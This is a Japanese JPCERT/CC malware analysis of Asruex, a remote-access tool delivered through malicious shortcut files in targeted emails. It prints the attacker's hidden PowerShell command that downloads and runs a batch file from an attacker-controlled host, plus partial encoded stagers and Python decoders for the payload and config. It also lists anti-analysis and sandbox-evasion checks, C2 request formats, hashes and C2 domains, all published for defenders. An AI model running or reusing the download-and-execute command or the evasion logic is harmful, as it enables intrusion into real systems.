ショートカットファイルから感染するマルウエアAsruex(2016-06-23)

JPCERT/CCでは、2015年10月頃から、不正なショートカットファイルが添付されたメールが宛先の組織を絞り込んで送信されていることを確認しています。このショートカットファイルを開くと、Asruexと呼ばれるマルウエアに感染します。Asruexは、リモートから操作する機能を持ったマルウエアで、メールを送信している攻撃者はこのマルウエアを利用してターゲットにした組織に侵入を試みていると考えられます。なお、このマルウエアは「DarkHotel」と呼ばれる攻撃グループに関連しているとマイクロソフトがブログ[1]に記載しています。(マイクロソフトは、この攻撃グループを「Dubnium」と呼んでいます。)
今回は、Asruexの詳細について紹介します。


Asruexが感染するまでの流れ

図1は、ショートカットファイルを開いてからAsruexに感染するまでの流れを示しています。

図 1:ショートカットファイルを開いてからAsruex感染までの流れ



JPCERT/CCで確認しているショートカットファイルを開くと、ダウンローダが外部からダウンロードされ、実行されます。次に、ダウンローダが外部からAsruexをダウンロードし、実行します。この過程の各段階における詳細な挙動を次に解説します。


ショートカットファイルが開かれた時の挙動

ショートカットファイルを開くと内部に含まれている次のPowerShellが実行されます。

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

 

上記PowerShellによって、指定されているwebページからファイルがダウンロードされ、バッチファイルとして保存され、実行されます。ダウンロードされたバッチファイルには、次のようなコマンドが含まれており、PowerShellスクリプトが実行されます。(2ヶ所の赤で示した部分)

echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001
cd "%tmp%"
start winword "article_draft.docx"
copy "article_draft.docx" "%1"
del /f "%1\*.*.lnk"
echo
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"

 

上記のバッチファイルを実行すると、Windows実行ファイル(ダウンローダ)とダミーの表示用文書が外部からダウンロードされ、%TEMP%フォルダに保存され、実行されます。ダミーで表示される文書は日本語のものだけではなく、中国語の文書なども用意されていることが確認されています。このことから、この手法による攻撃の標的となっているのは、日本の組織だけではないと考えられます。


ダウンローダの挙動の詳細

ダウンローダは実行されると、JPGまたはGIF画像ファイルをダウンロードします。画像ファイルの後半にはエンコードされたAsruexが含まれています。ダウンローダは、それをデコードして、実行します。

図 2:エンコードされたAsruexが含まれた画像ファイル



画像ファイルに含まれているAsruexは、XORでエンコードされています。以下は、Pythonで記述した画像ファイルのエンコードデータをデコードするコードです。なお、エンコードされたデータのサイズは画像ファイルの末尾4バイトに含まれています。

key = 0x1D  # キーは検体によって異なる可能性がある
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

ダウンローダ内は、多機能タスクマネージャーであるProcess Hackerをエンコードした状態で含んでいる場合があり、ウイルス対策ソフトを検知すると、Process Hackerを実行する可能性があります。なお、Symantec、McAfee、Kasperskyなどのウイルス対策ソフトがプロセス名を基に検知されます。


Asruexの挙動の詳細

Asruexは、特定のサイトとHTTPで通信を行い、受信した命令を実行するマルウエアです。仮想環境で動作していることを検知すると動作を停止する等、様々な耐解析機能を持っています。仮想環境を検知する条件の詳細に関しては、Appendix Aをご覧ください。また、ウイルス対策ソフトを検知する機能も持っています。
仮想環境を検知しなかった場合、次の実行ファイルいずれかを実行し、Asruex内に含まれるDLLファイルをインジェクションします。ウイルス対策ソフトを検知した場合は、DLLファイルを作成し、自身にロードします(DLLインジェクションは行わない)。このDLLは、Asruexの主要な動作を行う機能を担っています。

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

インジェクションまたは作成されロードされるDLLは、まずダミーの通信先にHTTPリクエストを送信し、ステータスコード100以上が得られた場合、実際のC&Cサーバに接続します。C&Cサーバとは次のような通信を行います。

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217~省略~ HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [ホスト名]

Asruexは内部に保持する設定情報に従って動作します。C&Cサーバの情報やダミーの接続先は、その設定情報内に含まれています。設定情報にはその他にバージョン情報や受信および送信するデータをエンコードするためのキーが含まれています。設定情報の詳細に関しては、Appendix Bをご覧ください。
なお、設定情報はエンコードされています。Pythonで記述した、設定情報をデコードするコードを次に示します。

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // 2倍しない場合もある
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruexは、C&Cサーバからコマンドを受け取り実行します。実行する可能性があるコマンドは、表 1の通りです。コマンドの多くは、情報収集用ですが、中にはC&CサーバからDLLファイル(AdvProv.dll)をダウンロードして、実行するものもあります。AdvProv.dll は、Asruex の機能を拡張するプラグインです。


表 1: Asruexのコマンド

コマンド 機能
1 感染端末の情報収集
2 プロセス一覧取得
3 ファイル一覧取得
4 待機時間変更
5 バージョン情報取得
6 アンインストール
501 フォルダ一覧取得
502 DLLロード
- 外部DLL(AdvProv.dll)実行

 

AdvProv.dllの挙動の詳細

AdvProv.dll はXORおよび3DESで暗号化されています。復号キーは、通信先URLおよび設定情報のエンコードキーから算出される値です。Asruexは、DLLをダウンロード後、メモリ上に展開し、DLLのエクスポート関数Get_CommandProcを実行します。AdvProv.dllによって追加されるAsruexコマンドは次のとおりです。


表 2: AdvProv.dllによって追加されるAsruexコマンド

 

コマンド 機能
101 ダウンロード
102 ファイルのコピー
103 ファイル名変更
104 ファイルタイム変更
105 ファイル消去
106 プロセス終了
107 レジストリ調査
108 レジストリエントリ確認
109 レジストリエントリ作成
110 レジストリエントリ確認
111 レジストリエントリ削除
112 自身のアップデート
601 ファイルダウンロード・実行

 

JPCERT/CCが確認したAdvProv.dllは上記機能を持っていましたが、他の機能を持ったものが存在する可能性もあります。


おわりに

Asruexは、2015年10月頃から確認されるようになった比較的新しい種類のマルウエアです。今後もAsruexを利用した標的型攻撃が行われる可能性があるため、注意が必要です。
今回解説した検体のハッシュ値に関しては、Appendix Cに記載しています。また、これまでJPCERT/CCで確認しているAsruexの通信先はAppendix Dに記載していますので、このような通信先にアクセスしている端末がないかご確認ください。


分析センター 朝長 秀誠

参考情報
[1] Microsoft - Reverse-engineering DUBNIUM
  https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

 

Appendix A Asruexが解析環境だと判断する環境

Asruexは表A-1から表A-6の条件のいずれかの環境を検知した場合、解析環境で動作していると判断し、動作を停止します。各表の詳細については、次の通りです。
表A-1: 表のコンピュータ名、ユーザ名の組合せの環境である場合、解析環境と判断します。
表A-2: ロードしているモジュールを列挙し、表の関数名がエクスポートされていた場合、解析環境と判断します。
表A-3: 表のファイル名が存在する場合、解析環境と判断します。
表A-4: 表のプロセス名が起動している場合、解析環境と判断します。
表A-5: 起動しているプロセスのモジュールを列挙し、モジュールのバージョン情報が表の組合せと一致する場合、解析環境と判断します。
表A-6: ディスク名に表の文字列が含まれている場合、解析環境と判断します。



表A-1:検知するコンピュータ名、ユーザ名の組合せ

コンピュータ名 ユーザ名
BRBRB-D8FB22AF1 antonie
ANTONY-PC Antony
TEQUILABOOMBOOM janettedoe
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
HOME-OFF-D5F0AC Dave
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator
SANDBOXB User
pc9 Administrator

 

表 A-2: 検知する関数名

関数名
_SbieApi_QueeryProcessPath@28
hook_api
New2_CreateProcessInternalW@48

表 A-3: 検知するファイル名

ファイル名
\\.\pipe\cuckoo
[システムドライブ]:\cuckoo

 
表 A-4: 検知するプロセス名

ファイル名
Filemon.exe
Regmon.exe
Procmon.exe
Tcpview.exe
wireshark.exe
dumpcap.exe
regshot.exe
cports.exe
smsniff.exe
SocketSniff.exe


表 A-5: 検知するファイルのバージョン情報の組合せ

FileDescription CompanyName
Filesystemmonitor Sysinternals
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft



表 A-6: 検知するディスク名

 ディスク名
vmware
Virtual HD
MS VirtualSCSI Disk Device


Appendix B 設定情報


表 B-1: 設定情報の一覧

オフセット 長さ 説明
0x000 16 ID
0x010 4 バージョン情報
0x014 256 インストールパス
0x114 64 * 3 ダミー通信先 3
0x1D4 256 * 3 HTTPアクセスURL 3
0x4D4 256 送信データ保存パス1
0x5D4 64 送信データ文字列1
0x614 256 送信データ保存パス2
0x714 64 送信データ文字列2
0x754 64 エンコードキー
0x794 4 一時停止時間
0x798 256 * 3 ファイル名 3
0xA98 4 マシン情報(ポインタ)
0xA9C 4 接続先(ポインタ)
0xAA0 4 未使用

 
エンコードキー

  •  blackolive
  •  darktea
  •  12qw@#WE

 

Appendix C 検体のSHA-256ハッシュ値
ショートカットファイル

  •  c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  •  ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  •  980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  •  b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
  •  c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
  •  ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
  •  5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
  •  e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  •  606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe

 

ダウンローダ

  •  fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
  •  dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
  •  d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
  •  caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  •  8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
  •  77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
  •  05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
  •  a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
  •  2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
  •  36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
  •  a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  •  24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  •  2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  •  3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
  •  df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
  •  eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
  •  e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
  •  8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  •  35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5

 

Asruex

  •  8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  •  a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
  •  9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
  •  694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
  •  18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
  •  148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
  •  d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
  •  fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
  •  eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
  •  7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c

 

AdvProv.dll

  •  f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc

 

その他

  •  6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  •  e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  •  7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8

 

Appendix D 通信先一覧

  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com
≪ 前へ
トップに戻る
次へ ≫